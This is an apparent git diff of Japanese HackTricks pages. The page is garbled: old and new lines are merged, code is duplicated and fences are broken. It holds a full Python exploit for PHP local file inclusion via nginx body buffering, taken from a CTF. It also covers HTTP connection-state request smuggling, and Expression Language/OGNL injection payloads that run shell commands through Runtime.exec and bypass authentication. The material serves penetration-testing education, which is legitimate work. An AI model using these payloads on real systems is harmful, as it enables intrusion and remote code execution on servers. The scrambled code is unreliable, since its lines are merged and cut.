/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` 注この例では、PHPの\`include\`関数がファイルシステムに存在しない\`/var/lib/nginx/body/0000001368 (deleted)\`へのパスを解決するため、\`/proc/34/fd/15\`を直接含めることはできません。この小さな制限は、幸いにも\`/proc/self/fd/34/../../../34/fd/15\`のような間接的な方法でバイパスでき、最終的に削除された\`/var/lib/nginx/body/0000001368\`ファイルの内容を実行できます。 ## 完全なエクスプロイト \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //' /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` 注意: この例では、PHP の \`include\` 関数がパスを \`/var/lib/nginx/body/0000001368 (deleted)\` に解決するため、直接 \`/proc/34/fd/15\` を含めることはできません。この小さな制限は、\`/proc/self/fd/34/../../../34/fd/15\` のような間接的な方法で回避できます。これにより、削除された \`/var/lib/nginx/body/0000001368\` ファイルの内容が最終的に実行されます。 ## 完全なエクスプロイト \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # nginx のクライアントボディバッファリング支援を介して PHP ローカルファイルインクルージョン (LFI) をエクスプロイト # 詳細については https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ を参照 URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # nginx ワーカープロセスを見つける r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # nginx に /var/lib/nginx/body/$X を作成させるために大きなクライアントボディをアップロード def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
``` ```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except: except:
pass pass
``` ```
```html ```python
def send_payload_worker(requests_session): while True: send_payload(requests_session) def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
def send_payload_multiprocess(requests_session): # すべてのCPUを使用してNginxにペイロードをリクエストボディとして送信 for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start() def send\_payload\_multiprocess(requests\_session): # すべてのCPUを使用して、Nginxのリクエストボディとしてペイロードを送信するために for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate_random_path_prefix(nginx_pids): # このメソッドはランダムな数のProcFSパスコンポーネントからパスを作成します。生成されたパスは/proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/rootのようになります path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path def generate\_random\_path\_prefix(nginx\_pids): # このメソッドは、ProcFSパスコンポーネントのランダムな数からパスを作成します。生成されたパスは /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root のようになります path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # フラグはhxp{}の形式です if "hxp" in d: print("フラグを発見しました!") print(d) def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # フラグは hxp{} 形式でフォーマットされています if "hxp" in d: print("フラグを発見しました!") print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids): # ループ内で10から45の間のNginx FDをスキャンします。ファイルとソケットが閉じ続けるため、リクエストボディFDがこの範囲内で開かれるのは非常に一般的です for fd in range(10, 45): thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids)) thread.start() def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # NginxのFDを10 - 45の範囲でループしてスキャンします。ファイルとソケットは閉じ続けるため、リクエストボディのFDがこの範囲内で開くことは非常に一般的です for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start() def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
if __name__ == "main": print('[DEBUG] リクエストセッションを作成中') requests_session = create_requests_session() print('[DEBUG] NginxのPIDを取得中') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] NginxのPID: {nginx_pids}') print('[DEBUG] ペイロード送信を開始中') send_payload_multiprocess(requests_session) print('[DEBUG] FDリーダーを開始中') read_file_multiprocess(requests_session, nginx_pids) if **name** == "**main**": print('\[DEBUG] リクエストセッションを作成しています') requests\_session = create\_requests\_session() print('\[DEBUG] NginxのPIDを取得しています') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] NginxのPID: {nginx\_pids}') print('\[DEBUG] ペイロードの送信を開始します') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] FDリーダーを開始します') read\_file\_multiprocess(requests\_session, nginx\_pids)
``` ```
``` ```

View file

@ -1,24 +1,27 @@
# HTTP接続リクエストスムギリング # HTTP Connection Request Smuggling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
**この投稿の要約です** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks) **この記事の要約は** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks) **です**
## 接続状態攻撃 <a href="#state" id="state"></a> ## Connection State Attacks <a href="#state" id="state"></a>
### 最初のリクエスト検証 ### First-request Validation
リクエストをルーティングする際、リバースプロキシは通常、許可されたホストのホワイトリストに依存して、**Hostヘッダー**を使用してバックエンドサーバーの宛先を決定します。ただし、一部のプロキシには、ホワイトリストが接続の最初のリクエストでのみ強制されるという脆弱性が存在します。そのため、攻撃者は許可されたホストに最初にリクエストを行い、その後同じ接続を介して内部サイトにリクエストすることでこれを悪用できます。 リクエストをルーティングする際、リバースプロキシは**Hostヘッダー**に依存して、宛先のバックエンドサーバーを特定することがあります。通常、アクセスが許可されたホストのホワイトリストに依存しています。しかし、一部のプロキシには、ホワイトリストが接続内の最初のリクエストにのみ適用されるという脆弱性があります。そのため、攻撃者は、最初に許可されたホストにリクエストを行い、その後同じ接続を通じて内部サイトをリクエストすることでこれを悪用することができます。
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: [allowed-external-host] Host: [allowed-external-host]
@ -26,9 +29,9 @@ Host: [allowed-external-host]
GET / HTTP/1.1 GET / HTTP/1.1
Host: [internal-host] Host: [internal-host]
``` ```
### 最初のリクエストのルーティング ### First-request Routing
いくつかの構成では、フロントエンドサーバーは最初のリクエストの**Hostヘッダー**を使用して、そのリクエストのためのバックエンドルーティングを決定し、その後、同じクライアント接続からのすべての後続リクエストを同じバックエンド接続に永続的にルーティングします。これは次のように示すことができます: 一部の構成では、フロントエンドサーバーが**最初のリクエストのHostヘッダー**を使用して、そのリクエストのバックエンドルーティングを決定し、その後、同じクライアント接続からのすべての後続リクエストを同じバックエンド接続に持続的にルーティングすることがあります。これは次のように示すことができます:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: example.com Host: example.com
@ -36,20 +39,23 @@ Host: example.com
POST /pwreset HTTP/1.1 POST /pwreset HTTP/1.1
Host: psres.net Host: psres.net
``` ```
この問題は、[Hostヘッダー攻撃](https://portswigger.net/web-security/host-header)(パスワードリセットポイズニングや[webキャッシュポイズニング](https://portswigger.net/web-security/web-cache-poisoning)など)と組み合わせることで、他の脆弱性を悪用したり、追加の仮想ホストへの不正アクセスを得る可能性があります。 この問題は、他の脆弱性を悪用したり、追加の仮想ホストへの不正アクセスを得るために、[Host header attacks](https://portswigger.net/web-security/host-header)(パスワードリセットポイズニングや[web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning)など)と組み合わせることができます。
{% hint style="info" %} {% hint style="info" %}
これらの脆弱性を特定するために、HTTPリクエストスマグラーの 'connection-state probe' 機能を利用できます。 これらの脆弱性を特定するために、HTTP Request Smugglerの「connection-state probe」機能を利用できます。
{% endhint %} {% endhint %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[telegramグループ](https://t.me/peass)に参加**または**Twitter**で**フォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,26 +1,29 @@
# EL - Expression Language # EL - Expression Language
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックして、彼らのエンジンを**無料**で試すことができます: 彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -28,35 +31,35 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン
## 基本情報 ## 基本情報
Expression LanguageELは、JavaEEにおいてプレゼンテーション層Webページとアプリケーションロジック管理されたBeanを結びつけ、それらの相互作用を可能にするために不可欠です。主に以下で使用されます: Expression Language (EL) は、JavaEEにおいてプレゼンテーション層ウェブページとアプリケーションロジック管理されたビーンをつなぐために不可欠であり、相互作用を可能にします。主に以下で使用されます:
* **JavaServer FacesJSF**UIコンポーネントをバックエンドデータ/アクションにバインドするために使用されます * **JavaServer Faces (JSF)**: UIコンポーネントをバックエンドデータ/アクションにバインドするため。
* **JavaServer PagesJSP**JSPページ内でのデータアクセスと操作に使用されます * **JavaServer Pages (JSP)**: JSPページ内でのデータアクセスと操作のため
* **Contexts and Dependency Injection for Java EECDI**Web層と管理Beanの相互作用を容易にするために使用されます * **Java EEのためのコンテキストと依存性注入 (CDI)**: 管理されたビーンとのウェブ層の相互作用を促進するため
**使用コンテキスト** **使用コンテキスト**
* **Spring Framework**:セキュリティやデータなどのさまざまなモジュールで使用されます。 * **Spring Framework**: セキュリティやデータなどのさまざまなモジュールで適用されます。
* **一般的な使用**Java、Kotlin、ScalaなどのJVMベースの言語で、開発者によってSpEL APIを介して使用されます * **一般的な使用**: Java、Kotlin、ScalaなどのJVMベースの言語の開発者によるSpEL APIを通じて
ELはJavaEEテクノロジ、スタンドアロン環境に存在し、`.jsp`または`.jsf`のファイル拡張子、スタックエラー、およびヘッダー内の「Servlet」などの用語を通じて認識できます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。 ELはJavaEE技術、スタンドアロン環境に存在し、`.jsp`や`.jsf`ファイル拡張子、スタックエラー、ヘッダー内の「Servlet」などを通じて認識されます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
{% hint style="info" %} {% hint style="info" %}
**ELバージョン**によっては、一部の**機能**が**オン**または**オフ**になることがあり、通常、一部の**文字**が**許可されない**ことがあります。 **ELバージョン**によっては、いくつかの**機能**が**オン**または**オフ**になっている場合があり、通常、いくつかの**文字**が**禁止**されていることがあります。
{% endhint %} {% endhint %}
## 基本例 ## 基本例
別の興味深いELチュートリアルは[https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)で見つけることができます (ELに関する別の興味深いチュートリアルは[https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)で見つけることができます)
[**Maven**](https://mvnrepository.com)リポジトリから次のjarファイルをダウンロードします: 以下のjarファイルを[**Maven**](https://mvnrepository.com)リポジトリからダウンロードします:
* `commons-lang3-3.9.jar` * `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar` * `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar` * `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar` * `spring-expression-5.2.1.RELEASE.jar`
そして、次の`Main.java`ファイルを作成します: 次の`Main.java`ファイルを作成します:
```java ```java
import org.springframework.expression.Expression; import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser; import org.springframework.expression.ExpressionParser;
@ -77,22 +80,22 @@ System.out.println(result);
} }
} }
``` ```
次にコードをコンパイルします(`javac`がインストールされていない場合は、`sudo apt install default-jdk`をインストールしてください): 次にコードをコンパイルします(`javac`がインストールされていない場合は、`sudo apt install default-jdk`をインストールしてください)
```java ```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
``` ```
アプリケーションを実行するには次のコマンドを使用してください: アプリケーションを実行するには
```java ```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate: Enter a String to evaluate:
{5*5} {5*5}
[25] [25]
``` ```
注意してください、前の例では用語 `{5*5}`**評価** されました 前の例で、用語 `{5*5}`**評価された** 方法に注意してください
## **CVEベースのチュートリアル** ## **CVE ベースのチュートリアル**
**この投稿で** チェックしてください: [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) **この投稿** で確認してください: [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## ペイロード ## ペイロード
@ -120,19 +123,19 @@ Enter a String to evaluate:
{"".getClass().forName("java.util.Date").getMethods()[0].toString()} {"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)] [public boolean java.util.Date.equals(java.lang.Object)]
``` ```
### 検知 ### Detection
* Burp 検知 * Burp検出
```bash ```bash
gk6q${"zkz".toString().replace("k", "x")}doap2 gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression. #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
``` ```
* J2EE検出 * J2EE検出
```bash ```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer): #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
``` ```
* 10秒間スリープ * 10秒待機
```bash ```bash
#Blind detection vector (sleep during 10 seconds) #Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
@ -147,7 +150,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
``` ```
### RCE ### RCE
* RCEの基本的な**説明** * 基本的なRCE **説明**
```bash ```bash
#Check the method getRuntime is there #Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()} {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
@ -167,7 +170,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
```bash ```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
``` ```
* RCE **Windows** (未検証) * RCE **Windows**(未テスト)
```bash ```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
``` ```
@ -213,17 +216,17 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
* `requestScope` - リクエスト変数 * `requestScope` - リクエスト変数
* `initParam` - アプリケーション初期化変数 * `initParam` - アプリケーション初期化変数
* `sessionScope` - セッション変数 * `sessionScope` - セッション変数
* `param.X` - X が HTTP パラメータの名前である場合のパラメータ * `param.X` - httpパラメータの名前がXであるparam
これらの変数を次のように String にキャストする必要があります: これらの変数をStringにキャストする必要があります。
```bash ```bash
${sessionScope.toString()} ${sessionScope.toString()}
``` ```
#### 認バイパスの例 #### 認バイパスの例
```bash ```bash
${pageContext.request.getSession().setAttribute("admin", true)} ${pageContext.request.getSession().setAttribute("admin", true)}
``` ```
